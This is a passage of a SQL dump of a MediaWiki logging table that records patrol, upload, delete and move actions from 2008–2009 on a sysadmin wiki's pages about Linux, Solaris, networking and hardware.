8',1,0,'Dell_OpenManage_Server_Administrator','','354\n353\n1',274,0,'',NULL),('patrol','patrol','20080729162442',1,0,'Dell_OpenManage_Server_Administrator','','355\n354\n1',275,0,'',NULL),('patrol','patrol','20080731222625',1,0,'Multiple_X_Servers','','356\n0\n1',276,0,'',NULL),('patrol','patrol','20080803030218',1,0,'Virtualization_Methods','','357\n0\n1',277,0,'',NULL),('patrol','patrol','20080803030414',1,0,'Virtualization_Methods','','358\n357\n1',278,0,'',NULL),('patrol','patrol','20080803030733',1,0,'Virtualization_Methods','','359\n358\n1',279,0,'',NULL),('patrol','patrol','20080803153010',1,0,'Drive_Partitioning_Tools','','360\n0\n1',280,0,'',NULL),('patrol','patrol','20080803231813',1,0,'Linux_Package_Managers','','361\n252\n1',281,0,'',NULL),('patrol','patrol','20080804222029',1,0,'St_Pete_College_Compnet_AS_Classes','','362\n325\n1',282,0,'',NULL),('patrol','patrol','20080804224640',1,0,'St_Pete_College_Compnet_AS_Classes','','363\n362\n1',283,0,'',NULL),('patrol','patrol','20080804225219',1,0,'St_Pete_College_Compnet_AS_Classes','','364\n363\n1',284,0,'',NULL),('patrol','patrol','20080804234205',1,0,'Caos_Linux_and_Perceus_Cluster_Management','','365\n0\n1',285,0,'',NULL),('patrol','patrol','20080806195124',1,0,'FluidVM_Install','','366\n0\n1',286,0,'',NULL),('patrol','patrol','20080810150312',1,0,'VMware_Server_2.0','','367\n287\n1',287,0,'',NULL),('patrol','patrol','20080810154552',1,0,'VMware_Server_2.0','','368\n367\n1',288,0,'',NULL),('patrol','patrol','20080810160955',1,0,'VMware_Server_2.0','','369\n368\n1',289,0,'',NULL),('patrol','patrol','20080811004203',1,0,'Solaris_and_Linux_Dtrace','','370\n0\n1',290,0,'',NULL),('patrol','patrol','20080814124811',1,0,'Bash_Tricks','','371\n318\n1',291,0,'',NULL),('patrol','patrol','20080814125454',1,0,'Mounting_and_Accessing_a_Container_File_system','','372\n0\n1',292,0,'',NULL),('patrol','patrol','20080814125537',1,0,'Running_Chkdsk_on_a_Container_File_system','','373\n0\n1',293,0,'',NULL),('patrol','patrol','20080814125646',1,0,'Dell_OpenManage_IT_Assistant','','374\n0\n1',294,0,'',NULL),('patrol','patrol','20080818230541',1,0,'St_Pete_College_Compnet_AS_Classes','','375\n364\n1',295,0,'',NULL),('patrol','patrol','20080819011758',1,0,'St_Pete_College_Compnet_AS_Classes','','376\n375\n1',296,0,'',NULL),('patrol','patrol','20080819222648',1,0,'St_Pete_College_Compnet_AS_Classes','','377\n376\n1',297,0,'',NULL),('patrol','patrol','20080820193411',1,0,'IPMI_Configuration_and_Monitoring','','378\n346\n1',298,0,'',NULL),('patrol','patrol','20080821010931',1,0,'OpenSolaris','','379\n0\n1',299,0,'',NULL),('patrol','patrol','20080821012556',1,0,'OpenSolaris','','380\n379\n1',300,0,'',NULL),('patrol','patrol','20080821014346',1,0,'OpenSolaris','','381\n380\n1',301,0,'',NULL),('patrol','patrol','20080821020028',1,0,'OpenSolaris','','382\n381\n1',302,0,'',NULL),('patrol','patrol','20080821021756',1,0,'OpenSolaris','','383\n382\n1',303,0,'',NULL),('patrol','patrol','20080821022130',1,0,'OpenSolaris','','384\n383\n1',304,0,'',NULL),('patrol','patrol','20080821022519',1,0,'OpenSolaris','','385\n384\n1',305,0,'',NULL),('patrol','patrol','20080821022734',1,0,'OpenSolaris','','386\n385\n1',306,0,'',NULL),('patrol','patrol','20080821023111',1,0,'OpenSolaris','','387\n386\n1',307,0,'',NULL),('patrol','patrol','20080821023352',1,0,'OpenSolaris','','388\n387\n1',308,0,'',NULL),('patrol','patrol','20080821023858',1,0,'OpenSolaris','','389\n388\n1',309,0,'',NULL),('patrol','patrol','20080822011353',1,0,'OpenSolaris_VMare_Install','','390\n0\n1',310,0,'',NULL),('patrol','patrol','20080822011527',1,0,'OpenSolaris_VMare_Install','','391\n390\n1',311,0,'',NULL),('patrol','patrol','20080822011710',1,0,'OpenSolaris_VMare_Install','','392\n391\n1',312,0,'',NULL),('patrol','patrol','20080822012930',1,0,'OpenSolaris_VMare_Install','','393\n392\n1',313,0,'',NULL),('patrol','patrol','20080822013716',1,0,'OpenSolaris_VMare_Install','','394\n393\n1',314,0,'',NULL),('patrol','patrol','20080822123242',1,0,'OpenSolaris_VMare_Install','','395\n394\n1',315,0,'',NULL),('patrol','patrol','20080822123659',1,0,'OpenSolaris_VMare_Install','','396\n395\n1',316,0,'',NULL),('patrol','patrol','20080822123842',1,0,'OpenSolaris_VMare_Install','','397\n396\n1',317,0,'',NULL),('patrol','patrol','20080822171028',1,0,'Clonezilla','','398\n134\n1',318,0,'',NULL),('patrol','patrol','20080823153703',1,0,'OpenSolaris_VMare_Install','','399\n397\n1',319,0,'',NULL),('patrol','patrol','20080823153807',1,0,'OpenSolaris_VMare_Install','','400\n399\n1',320,0,'',NULL),('patrol','patrol','20080823153830',1,0,'OpenSolaris_VMare_Install','','401\n400\n1',321,0,'',NULL),('patrol','patrol','20080825140711',1,0,'OpenSSH_chroot','','402\n0\n1',322,0,'',NULL),('patrol','patrol','20080827201731',1,0,'Sago_Linux_Notes','','403\n10\n1',323,0,'',NULL),('patrol','patrol','20080829012204',1,0,'Building_Scalable_Cisco_Networks','','404\n0\n1',324,0,'',NULL),('patrol','patrol','20080902224328',1,0,'Building_Scalable_Cisco_Networks','','405\n404\n1',325,0,'',NULL),('patrol','patrol','20080902224959',1,0,'Building_Scalable_Cisco_Networks','','406\n405\n1',326,0,'',NULL),('patrol','patrol','20080903000341',1,0,'Building_Scalable_Cisco_Networks','','407\n406\n1',327,0,'',NULL),('patrol','patrol','20080903003221',1,0,'Building_Scalable_Cisco_Networks','','408\n407\n1',328,0,'',NULL),('patrol','patrol','20080904225105',1,0,'Building_Scalable_Cisco_Networks','','409\n408\n1',329,0,'',NULL),('patrol','patrol','20080905003215',1,0,'Building_Scalable_Cisco_Networks','','410\n409\n1',330,0,'',NULL),('patrol','patrol','20080909223322',1,0,'Building_Scalable_Cisco_Networks','','411\n410\n1',331,0,'',NULL),('patrol','patrol','20080910011315',1,0,'Building_Scalable_Cisco_Networks','','412\n411\n1',332,0,'',NULL),('patrol','patrol','20080910150548',1,0,'Business_and_Economics','','413\n0\n1',333,0,'',NULL),('patrol','patrol','20080910150705',1,0,'Business_and_Economics','','414\n413\n1',334,0,'',NULL),('patrol','patrol','20080916193355',1,0,'Linux_Hardware_Repair_-_A+_Class','','415\n185\n1',335,0,'',NULL),('patrol','patrol','20080916193810',1,0,'Linux_Hardware_Repair_-_A+_Class','','416\n415\n1',336,0,'',NULL),('patrol','patrol','20080916224915',1,0,'Building_Scalable_Cisco_Networks','','417\n412\n1',337,0,'',NULL),('patrol','patrol','20080917012718',1,0,'Building_Scalable_Cisco_Networks','','418\n417\n1',338,0,'',NULL),('patrol','patrol','20080919001530',1,0,'Building_Scalable_Cisco_Networks','','419\n418\n1',339,0,'',NULL),('patrol','patrol','20080919004214',1,0,'Building_Scalable_Cisco_Networks','','420\n419\n1',340,0,'',NULL),('patrol','patrol','20080919132113',1,0,'SMTP_Address_Verification','','421\n0\n1',341,0,'',NULL),('patrol','patrol','20080919132334',1,0,'SMTP_Address_Verification','','422\n421\n1',342,0,'',NULL),('patrol','patrol','20080919132510',1,0,'SMTP_Address_Verification','','423\n422\n1',343,0,'',NULL),('patrol','patrol','20080923130942',1,0,'MySQL_Tools_and_Tips','','424\n0\n1',344,0,'',NULL),('patrol','patrol','20080923172456',1,0,'Biostar_740G_BIOS_Update','','425\n0\n1',345,0,'',NULL),('patrol','patrol','20080923172857',1,0,'Biostar_740G_BIOS_Update','','426\n425\n1',346,0,'',NULL),('patrol','patrol','20080923182923',1,0,'Biostar_740G_BIOS_Update','','427\n426\n1',347,0,'',NULL),('patrol','patrol','20080923183331',1,0,'Biostar_740G_BIOS_Update','','428\n427\n1',348,0,'',NULL),('patrol','patrol','20080923221908',1,0,'Building_Scalable_Cisco_Networks','','429\n420\n1',349,0,'',NULL),('patrol','patrol','20080923224433',1,0,'Building_Scalable_Cisco_Networks','','430\n429\n1',350,0,'',NULL),('patrol','patrol','20080925224624',1,0,'Building_Scalable_Cisco_Networks','','431\n430\n1',351,0,'',NULL),('patrol','patrol','20080925234739',1,0,'Building_Scalable_Cisco_Networks','','432\n431\n1',352,0,'',NULL),('patrol','patrol','20080926010728',1,0,'Building_Scalable_Cisco_Networks','','433\n432\n1',353,0,'',NULL),('patrol','patrol','20080926131740',1,0,'Open_Office_.docx_Converter','','434\n0\n1',354,0,'',NULL),('patrol','patrol','20080926175528',1,0,'MySQL_Tools_and_Tips','','435\n424\n1',355,0,'',NULL),('patrol','patrol','20080926175722',1,0,'MySQL_Tools_and_Tips','','436\n435\n1',356,0,'',NULL),('patrol','patrol','20080929161136',1,0,'Sago_Job_Descriptions','','437\n0\n1',357,0,'',NULL),('patrol','patrol','20081002172929',1,0,'Hard_Drive_Failures','','438\n0\n1',358,0,'',NULL),('patrol','patrol','20081002220608',1,0,'Building_Scalable_Cisco_Networks','','439\n433\n1',359,0,'',NULL),('patrol','patrol','20081004202527',1,0,'Building_Scalable_Cisco_Networks','','440\n439\n1',360,0,'',NULL),('patrol','patrol','20081007002452',1,0,'Open_Suse_11_Notes','','441\n0\n1',361,0,'',NULL),('patrol','patrol','20081007003731',1,0,'Bash_Tricks','','442\n371\n1',362,0,'',NULL),('patrol','patrol','20081007003849',1,0,'Open_Suse_11_Notes','','443\n441\n1',363,0,'',NULL),('patrol','patrol','20081007122859',1,0,'Solaris_Training_and_Information','','444\n0\n1',364,0,'',NULL),('patrol','patrol','20081007180507',1,0,'Traceroute,_Ping_and_TTL_Values','','445\n0\n1',365,0,'',NULL),('patrol','patrol','20081007180652',1,0,'Traceroute,_Ping_and_TTL_Values','','446\n445\n1',366,0,'',NULL),('patrol','patrol','20081007181317',1,0,'Traceroute,_Ping_and_TTL_Values','','447\n446\n1',367,0,'',NULL),('patrol','patrol','20081008131856',1,0,'Kernel_Drive_Status_Messages','','448\n0\n1',368,0,'',NULL),('patrol','patrol','20081008135407',1,0,'Remove_and_Create_Ext3_Journal','','449\n0\n1',369,0,'',NULL),('patrol','patrol','20081008140358',1,0,'Traceroute,_Ping_and_TTL_Values','','450\n447\n1',370,0,'',NULL),('patrol','patrol','20081009011912',1,0,'OpenVPN_Server','','451\n153\n1',371,0,'',NULL),('patrol','patrol','20081009122642',1,0,'Hard_Drive_Performance','','452\n0\n1',372,0,'',NULL),('patrol','patrol','20081012161318',1,0,'Crafty_Chess_Compiler_Benchmarks','','453\n0\n1',373,0,'',NULL),('patrol','patrol','20081012163101',1,0,'Crafty_Chess_Compiler_Benchmarks','','454\n453\n1',374,0,'',NULL),('patrol','patrol','20081012170320',1,0,'Intel_C_Compiler_for_Linux','','455\n0\n1',375,0,'',NULL),('patrol','patrol','20081012170544',1,0,'Crafty_Chess_Compiler_Benchmarks','','456\n454\n1',376,0,'',NULL),('patrol','patrol','20081013135947',1,0,'Stopping_DoS_Attacks','','457\n335\n1',377,0,'',NULL),('patrol','patrol','20081013141304',1,0,'MySQL_Table_Recovery_to_the_Extreme','','458\n0\n1',378,0,'',NULL),('patrol','patrol','20081013142003',1,0,'IPMI_Console_Access','','459\n0\n1',379,0,'',NULL),('patrol','patrol','20081015143008',1,0,'Samba_Server_Installation','','460\n0\n1',380,0,'',NULL),('patrol','patrol','20081015143114',1,0,'Samba_Server_Installation','','461\n460\n1',381,0,'',NULL),('patrol','patrol','20081016002325',1,0,'Acer_Aspire_One','','462\n0\n1',382,0,'',NULL),('patrol','patrol','20081017231935',1,0,'Drive_Performance_Tests','','463\n0\n1',383,0,'',NULL),('upload','upload','20081019012916',1,6,'R8101-1.009.00.tar.bz2','Linux Driver for Realtek 810x Wifi cards (e.g. 8101E) and I believe the 8169 also.','',384,0,'',NULL),('patrol','patrol','20081019013726',1,0,'Acer_Aspire_One','','465\n462\n1',385,0,'',NULL),('patrol','patrol','20081021170037',1,0,'File_Carving','','466\n0\n1',386,0,'',NULL),('upload','upload','20081021170336',1,6,'Kloet2007thesis.pdf','','',387,0,'',NULL),('patrol','patrol','20081021170428',1,0,'File_Carving','','468\n466\n1',388,0,'',NULL),('patrol','patrol','20081021170611',1,0,'File_Carving','','469\n468\n1',389,0,'',NULL),('upload','upload','20081022143552',1,6,'Linux-logo.png','Small Tux Logo','',390,0,'',NULL),('upload','upload','20081022143854',1,6,'Intel-logo.png','Small Intel Logo','',391,0,'',NULL),('delete','delete','20081022151723',1,6,'Intel-logo.png','mime type issue','',392,0,'',NULL),('delete','delete','20081022151752',1,6,'Linux-logo.png','mime type issue','',393,0,'',NULL),('upload','upload','20081022151853',1,6,'Intel-logo.png','','',394,0,'',NULL),('upload','upload','20081022152107',1,6,'Linux-logo.png','','',395,0,'',NULL),('patrol','patrol','20081022152721',1,0,'Intel_C_Compiler_for_Linux','','474\n455\n1',396,0,'',NULL),('patrol','patrol','20081022153213',1,0,'MediaWiki_Configuration','','475\n0\n1',397,0,'',NULL),('patrol','patrol','20081022184817',1,0,'Wordpress_Configuration','','476\n0\n1',398,0,'',NULL),('patrol','patrol','20081022184906',1,0,'MediaWiki_Configuration','','477\n475\n1',399,0,'',NULL),('upload','upload','20081022191432',1,6,'Zfs_last.pdf','ZFS The Last Word In File Systems','',400,0,'',NULL),('patrol','patrol','20081022191856',1,0,'ZFS_File_System','','479\n232\n1',401,0,'',NULL),('patrol','patrol','20081023135307',1,0,'Wordpress_Configuration','','480\n476\n1',402,0,'',NULL),('patrol','patrol','20081023214014',1,0,'Acer_Aspire_One','','481\n465\n1',403,0,'',NULL),('patrol','patrol','20081023214229',1,0,'Acer_Aspire_One','','482\n481\n1',404,0,'',NULL),('patrol','patrol','20081023214301',1,0,'Acer_Aspire_One','','483\n482\n1',405,0,'',NULL),('patrol','patrol','20081027150748',1,0,'ZFS_File_System','','484\n479\n1',406,0,'',NULL),('patrol','patrol','20081028010323',1,0,'Apple_OSX_Tips','','485\n57\n1',407,0,'',NULL),('patrol','patrol','20081028180558',1,0,'XVMServer_Sun_Virtualization','','486\n0\n1',408,0,'',NULL),('patrol','patrol','20081031012203',1,0,'Building_Multilayer_Switched_Networks','','487\n0\n1',409,0,'',NULL),('patrol','patrol','20081101170826',1,0,'Bash_Tricks','','488\n442\n1',410,0,'',NULL),('patrol','patrol','20081102191636',1,0,'Dreamweaver_Tips','','489\n0\n1',411,0,'',NULL),('patrol','patrol','20081104004216',1,0,'Linux_Package_Managers','','490\n361\n1',412,0,'',NULL),('patrol','patrol','20081105014200',1,0,'Bash_Tricks','','491\n488\n1',413,0,'',NULL),('patrol','patrol','20081105014855',1,0,'Bash_Tricks','','492\n491\n1',414,0,'',NULL),('patrol','patrol','20081105223426',1,0,'Drive_Performance_Tests','','493\n463\n1',415,0,'',NULL),('patrol','patrol','20081105224027',1,0,'Drive_Performance_Tests','','494\n493\n1',416,0,'',NULL),('patrol','patrol','20081105230922',1,0,'Drive_Performance_Tests','','495\n494\n1',417,0,'',NULL),('patrol','patrol','20081105232101',1,0,'Drive_Performance_Tests','','496\n495\n1',418,0,'',NULL),('patrol','patrol','20081105232736',1,0,'Drive_Performance_Tests','','497\n496\n1',419,0,'',NULL),('patrol','patrol','20081105233451',1,0,'Drive_Performance_Tests','','498\n497\n1',420,0,'',NULL),('patrol','patrol','20081106040606',1,0,'Drive_Performance_Tests','','499\n498\n1',421,0,'',NULL),('patrol','patrol','20081106193007',1,0,'Tomcat_Configuration','','500\n0\n1',422,0,'',NULL),('patrol','patrol','20081106193340',1,0,'Tomcat_Configuration','','501\n500\n1',423,0,'',NULL),('patrol','patrol','20081106193802',1,0,'Tomcat_Configuration','','502\n501\n1',424,0,'',NULL),('patrol','patrol','20081106193825',1,0,'Tomcat_Configuration','','503\n502\n1',425,0,'',NULL),('patrol','patrol','20081106200516',1,0,'Tomcat_Configuration','','504\n503\n1',426,0,'',NULL),('patrol','patrol','20081113211456',1,0,'Acer_Aspire_One','','505\n483\n1',427,0,'',NULL),('patrol','patrol','20081113212514',1,0,'Acer_Aspire_One','','506\n505\n1',428,0,'',NULL),('patrol','patrol','20081113220301',1,0,'Acer_Aspire_One','','507\n506\n1',429,0,'',NULL),('patrol','patrol','20081114000830',1,0,'Building_Multilayer_Switched_Networks','','508\n487\n1',430,0,'',NULL),('patrol','patrol','20081114002500',1,0,'Building_Multilayer_Switched_Networks','','509\n508\n1',431,0,'',NULL),('patrol','patrol','20081114005618',1,0,'Building_Multilayer_Switched_Networks','','510\n509\n1',432,0,'',NULL),('patrol','patrol','20081114005745',1,0,'Building_Multilayer_Switched_Networks','','511\n510\n1',433,0,'',NULL),('patrol','patrol','20081114010132',1,0,'Building_Multilayer_Switched_Networks','','512\n511\n1',434,0,'',NULL),('patrol','patrol','20081116033853',1,0,'Linux_Package_Managers','','513\n490\n1',435,0,'',NULL),('patrol','patrol','20081116034838',1,0,'Ettercap_Sniffer','','514\n256\n1',436,0,'',NULL),('patrol','patrol','20081116052137',1,0,'Ettercap_Sniffer','','515\n514\n1',437,0,'',NULL),('patrol','patrol','20081116141154',1,0,'Search_Engine_Optimization','','516\n0\n1',438,0,'',NULL),('patrol','patrol','20081116141237',1,0,'Widget:AddThis','','517\n0\n1',439,0,'',NULL),('patrol','patrol','20081116143402',1,0,'Search_Engine_Optimization','','518\n516\n1',440,0,'',NULL),('patrol','patrol','20081116144839',1,0,'Search_Engine_Optimization','','519\n518\n1',441,0,'',NULL),('patrol','patrol','20081116145052',1,274,'AddThis','','520\n0\n1',442,0,'',NULL),('patrol','patrol','20081116145607',1,274,'AddThis','','521\n520\n1',443,0,'',NULL),('patrol','patrol','20081116145826',1,0,'Search_Engine_Optimization','','522\n519\n1',444,0,'',NULL),('patrol','patrol','20081116160213',1,0,'Search_Engine_Optimization','','523\n522\n1',445,0,'',NULL),('patrol','patrol','20081116170534',1,0,'Search_Engine_Optimization','','524\n523\n1',446,0,'',NULL),('patrol','patrol','20081116174643',1,0,'Search_Engine_Optimization','','525\n524\n1',447,0,'',NULL),('patrol','patrol','20081116175049',1,0,'Search_Engine_Optimization','','526\n525\n1',448,0,'',NULL),('patrol','patrol','20081116195124',1,0,'Search_Engine_Optimization','','527\n526\n1',449,0,'',NULL),('patrol','patrol','20081116195355',1,0,'Search_Engine_Optimization','','528\n527\n1',450,0,'',NULL),('upload','upload','20081116201242',1,6,'Diggbadge.jpg','','',451,0,'',NULL),('patrol','patrol','20081116202549',1,0,'Search_Engine_Optimization','','530\n528\n1',452,0,'',NULL),('patrol','patrol','20081116203058',1,0,'Search_Engine_Optimization','','531\n530\n1',453,0,'',NULL),('patrol','patrol','20081116203638',1,0,'Search_Engine_Optimization','','532\n531\n1',454,0,'',NULL),('patrol','patrol','20081117014243',1,8,'Common.js','','533\n0\n1',455,0,'',NULL),('patrol','patrol','20081117021608',1,0,'Search_Engine_Optimization','','534\n532\n1',456,0,'',NULL),('patrol','patrol','20081117024932',1,8,'Common.js','','535\n533\n1',457,0,'',NULL),('patrol','patrol','20081118011416',1,0,'Search_Engine_Optimization','','536\n534\n1',458,0,'',NULL),('patrol','patrol','20081118013935',1,0,'Search_Engine_Optimization','','537\n536\n1',459,0,'',NULL),('patrol','patrol','20081118014109',1,0,'Search_Engine_Optimization','','538\n537\n1',460,0,'',NULL),('patrol','patrol','20081118014257',1,0,'Search_Engine_Optimization','','539\n538\n1',461,0,'',NULL),('patrol','patrol','20081118193957',1,0,'Crafty_Chess_Compiler_Benchmarks','','540\n456\n1',462,0,'',NULL),('patrol','patrol','20081118201436',1,0,'MediaWiki_Configuration','','541\n477\n1',463,0,'',NULL),('patrol','patrol','20081118203215',1,0,'Search_Engine_Optimization','','542\n539\n1',464,0,'',NULL),('patrol','patrol','20081118203525',1,0,'Search_Engine_Optimization','','543\n542\n1',465,0,'',NULL),('patrol','patrol','20081118203703',1,0,'Search_Engine_Optimization','','544\n543\n1',466,0,'',NULL),('patrol','patrol','20081118204936',1,0,'Search_Engine_Optimization','','545\n544\n1',467,0,'',NULL),('patrol','patrol','20081119014848',1,0,'Building_Multilayer_Switched_Networks','','546\n512\n1',468,0,'',NULL),('patrol','patrol','20081119220451',1,0,'Acer_Aspire_One','','547\n507\n1',469,0,'',NULL),('patrol','patrol','20081120023738',1,0,'Acer_Aspire_One','','548\n547\n1',470,0,'',NULL),('patrol','patrol','20081120215252',1,0,'Acer_Aspire_One','','549\n548\n1',471,0,'',NULL),('patrol','patrol','20081120220115',1,0,'Acer_Aspire_One','','550\n549\n1',472,0,'',NULL),('patrol','patrol','20081120235705',1,0,'Building_Multilayer_Switched_Networks','','551\n546\n1',473,0,'',NULL),('patrol','patrol','20081130145916',1,0,'St_Pete_College_Compnet_AS_Classes','','552\n377\n1',474,0,'',NULL),('patrol','patrol','20081130150024',1,0,'St_Pete_College_Compnet_AS_Classes','','553\n552\n1',475,0,'',NULL),('patrol','patrol','20081130200619',1,0,'Acer_Aspire_One','','554\n550\n1',476,0,'',NULL),('patrol','patrol','20081130200956',1,0,'Drive_Performance_Tests','','555\n499\n1',477,0,'',NULL),('patrol','patrol','20081130204232',1,0,'Acer_Aspire_One','','556\n554\n1',478,0,'',NULL),('patrol','patrol','20081204155911',1,0,'System_Reporting_-_sar_&_kSar','','557\n51\n1',479,0,'',NULL),('patrol','patrol','20081204183507',1,0,'Dd_Rescue','','558\n0\n1',480,0,'',NULL),('patrol','patrol','20081204211509',1,0,'System_Reporting_-_sar_&_kSar','','559\n557\n1',481,0,'',NULL),('patrol','patrol','20081209192744',1,0,'System_Reporting_-_sar_&_kSar','','560\n559\n1',482,0,'',NULL),('patrol','patrol','20081209193449',1,0,'System_Reporting_-_sar_&_kSar','','561\n560\n1',483,0,'',NULL),('patrol','patrol','20081209202000',1,0,'Building_Multilayer_Switched_Networks','','562\n551\n1',484,0,'',NULL),('patrol','patrol','20081216140732',1,0,'Linux_Benchmarking_Tools','','563\n0\n1',485,0,'',NULL),('patrol','patrol','20081222183002',1,0,'Linux_Benchmarking_Tools','','564\n563\n1',486,0,'',NULL),('patrol','patrol','20081222184346',1,0,'Linux_Benchmarking_Tools','','565\n564\n1',487,0,'',NULL),('patrol','patrol','20081222185122',1,0,'Linux_Benchmarking_Tools','','566\n565\n1',488,0,'',NULL),('patrol','patrol','20081222185434',1,0,'Linux_Benchmarking_Tools','','567\n566\n1',489,0,'',NULL),('patrol','patrol','20081222190132',1,0,'Linux_Benchmarking_Tools','','568\n567\n1',490,0,'',NULL),('patrol','patrol','20081222200022',1,0,'Linux_Benchmarking_Tools','','569\n568\n1',491,0,'',NULL),('patrol','patrol','20081225165533',1,0,'Sendmail_Troubleshooting','','570\n0\n1',492,0,'',NULL),('patrol','patrol','20081225170422',1,0,'Sendmail_Troubleshooting','','571\n570\n1',493,0,'',NULL),('patrol','patrol','20081225172031',1,0,'Sendmail_Troubleshooting','','572\n571\n1',494,0,'',NULL),('patrol','patrol','20081225173516',1,0,'Sendmail_Troubleshooting','','573\n572\n1',495,0,'',NULL),('patrol','patrol','20081225175920',1,0,'Sendmail_Troubleshooting','','574\n573\n1',496,0,'',NULL),('patrol','patrol','20081228201905',1,0,'SMTP_Address_Verification','','575\n423\n1',497,0,'',NULL),('patrol','patrol','20081228202107',1,0,'Sendmail_Troubleshooting','','576\n574\n1',498,0,'',NULL),('patrol','patrol','20081231151946',1,0,'Inquisitor_Hardware_Testing','','577\n0\n1',499,0,'',NULL),('patrol','patrol','20090101185954',1,0,'Acer_Aspire_One','','578\n556\n1',500,0,'',NULL),('patrol','patrol','20090101190550',1,0,'Stream_Editor_sed','','579\n0\n1',501,0,'',NULL),('patrol','patrol','20090104155522',1,0,'Acer_Aspire_One','','580\n578\n1',502,0,'',NULL),('patrol','patrol','20090107022851',1,0,'St_Pete_College_Compnet_AS_Classes','','581\n553\n1',503,0,'',NULL),('patrol','patrol','20090111010651',1,0,'Suse_DNS_Server_Configuration','','582\n0\n1',504,0,'',NULL),('upload','upload','20090111011015',1,6,'YAST-DNS-CLI-Config.png','','',505,0,'',NULL),('upload','upload','20090111011123',1,6,'YAST-DNS-Config.png','','',506,0,'',NULL),('patrol','patrol','20090111013056',1,0,'Suse_DNS_Server_Configuration','','585\n582\n1',507,0,'',NULL),('patrol','patrol','20090111013947',1,0,'PXE_Boot_Server','','586\n283\n1',508,0,'',NULL),('patrol','patrol','20090112144215',1,0,'SMART_Drive_Diagnostics','','587\n127\n1',509,0,'',NULL),('patrol','patrol','20090116194853',1,0,'Planet_RSS_Aggregator','','588\n0\n1',510,0,'',NULL),('patrol','patrol','20090121192422',1,0,'MySQL_Tools_and_Tips','','589\n436\n1',511,0,'',NULL),('patrol','patrol','20090127161521',1,0,'Network_Negotiation_Issues','','590\n0\n1',512,0,'',NULL),('patrol','patrol','20090128231116',1,0,'O3Spaces_Collaboration_Suite','','591\n0\n1',513,0,'',NULL),('patrol','patrol','20090129012620',1,0,'O3Spaces_Collaboration_Suite','','592\n591\n1',514,0,'',NULL),('patrol','patrol','20090129021510',1,0,'O3Spaces_Collaboration_Suite','','593\n592\n1',515,0,'',NULL),('patrol','patrol','20090129021659',1,0,'O3Spaces_Collaboration_Suite','','594\n593\n1',516,0,'',NULL),('patrol','patrol','20090130203938',1,0,'O3Spaces_Collaboration_Suite','','595\n594\n1',517,0,'',NULL),('patrol','patrol','20090206180943',1,0,'Site_Redirection','','596\n0\n1',518,0,'',NULL),('patrol','patrol','20090206181604',1,0,'Site_Redirection','','597\n596\n1',519,0,'',NULL),('patrol','patrol','20090207192828',1,0,'Bash_Tricks','','598\n492\n1',520,0,'',NULL),('patrol','patrol','20090211003844',1,0,'XWindows_Tricks','','599\n0\n1',521,0,'',NULL),('patrol','patrol','20090211044501',1,0,'Search_Engine_Optimization','','600\n545\n1',522,0,'',NULL),('patrol','patrol','20090211143729',1,0,'DNS_Domain_Name_Service_Troubleshooting','','601\n0\n1',523,0,'',NULL),('patrol','patrol','20090211200817',1,0,'Tracking_Down_Spammers','','602\n0\n1',524,0,'',NULL),('patrol','patrol','20090213012004',1,0,'Solaris_Tips','','603\n0\n1',525,0,'',NULL),('patrol','patrol','20090213134916',1,0,'Solaris_Tips','','604\n603\n1',526,0,'',NULL),('patrol','patrol','20090213135356',1,0,'Solaris_Tips','','605\n604\n1',527,0,'',NULL),('patrol','patrol','20090215140032',1,0,'Solaris_Tips','','606\n605\n1',528,0,'',NULL),('patrol','patrol','20090217141135',1,0,'Dd_Rescue','','607\n558\n1',529,0,'',NULL),('patrol','patrol','20090221154636',1,0,'PXE_Boot_Server','','608\n586\n1',530,0,'',NULL),('patrol','patrol','20090227172108',1,0,'Cobbler_PXE_Install_Manager','','609\n0\n1',531,0,'',NULL),('patrol','patrol','20090307161726',1,0,'Solaris_Nevada_11.2008_Acer_Aspire_One_Install','','610\n0\n1',532,0,'',NULL),('patrol','patrol','20090307222902',1,0,'Solaris_Nevada_11.2008_Acer_Aspire_One_Install','','611\n610\n1',533,0,'',NULL),('patrol','patrol','20090307223912',1,0,'Solaris_Nevada_11.2008_Acer_Aspire_One_Install','','612\n611\n1',534,0,'',NULL),('patrol','patrol','20090309005354',1,0,'Solaris_Nevada_11.2008_Acer_Aspire_One_Install','','613\n612\n1',535,0,'',NULL),('patrol','patrol','20090309011832',1,0,'Solaris_Nevada_11.2008_Acer_Aspire_One_Install','','614\n613\n1',536,0,'',NULL),('patrol','patrol','20090309013549',1,0,'Solaris_Nevada_11.2008_Acer_Aspire_One_Install','','615\n614\n1',537,0,'',NULL),('patrol','patrol','20090309013724',1,0,'Solaris_Nevada_11.2008_Acer_Aspire_One_Install','','616\n615\n1',538,0,'',NULL),('upload','upload','20090309230217',1,6,'Innomat_solaris_180.png','','',539,0,'',NULL),('patrol','patrol','20090309232739',1,0,'Solaris_Nevada_11.2008_Acer_Aspire_One_Install','','618\n616\n1',540,0,'',NULL),('move','move','20090309233401',1,0,'Solaris_Nevada_11.2008_Acer_Aspire_One_Install','','OpenSolaris Indiana 2008.11 Acer Aspire One Install',541,0,'',NULL),('patrol','patrol','20090309233601',1,0,'OpenSolaris_Indiana_2008.11_Acer_Aspire_One_Install','','621\n619\n1',542,0,'',NULL),('patrol','patrol','20090309233717',1,0,'OpenSolaris_Indiana_2008.11_Acer_Aspire_One_Install','','622\n621\n1',543,0,'',NULL),('patrol','patrol','20090317172304',1,0,'St_Pete_College_Compnet_AS_Classes','','623\n581\n1',544,0,'',NULL),('patrol','patrol','20090323173812',1,0,'Kdialog_Messages','','624\n0\n1',545,0,'',NULL),('patrol','patrol','20090326150659',1,0,'Apache_Sudo_Commands','','625\n0\n1',546,0,'',NULL),('patrol','patrol','20090406131852',1,0,'Hard_Drive_Performance','','626\n452\n1',547,0,'',NULL),('patrol','patrol','20090414173127',1,0,'Vnstat_Bandwidth_Monitor','','627\n0\n1',548,0,'',NULL),('patrol','patrol','20090416190218',1,0,'Network_Scanning_Tools','','628\n0\n1',549,0,'',NULL),('patrol','patrol','20090416191050',1,0,'Network_Scanning_Tools','','629\n628\n1',550,0,'',NULL),('patrol','patrol','20090417182522',1,0,'Exim_Troubleshooting','','630\n0\n1',551,0,'',NULL),('patrol','patrol','20090417183343',1,0,'Exim_Troubleshooting','','631\n630\n1',552,0,'',NULL),('patrol','patrol','20090417184215',1,0,'Exim_Troubleshooting','','632\n631\n1',553,0,'',NULL),('patrol','patrol','20090421180735',1,0,'Exim_Troubleshooting','','633\n632\n1',554,0,'',NULL),('patrol','patrol','20090421180816',1,0,'Exim_Troubleshooting','','634\n633\n1',555,0,'',NULL),('patrol','patrol','20090423125557',1,0,'OCSNG_Inventory_Management','','635\n0\n1',556,0,'',NULL),('patrol','patrol','20090423184757',1,0,'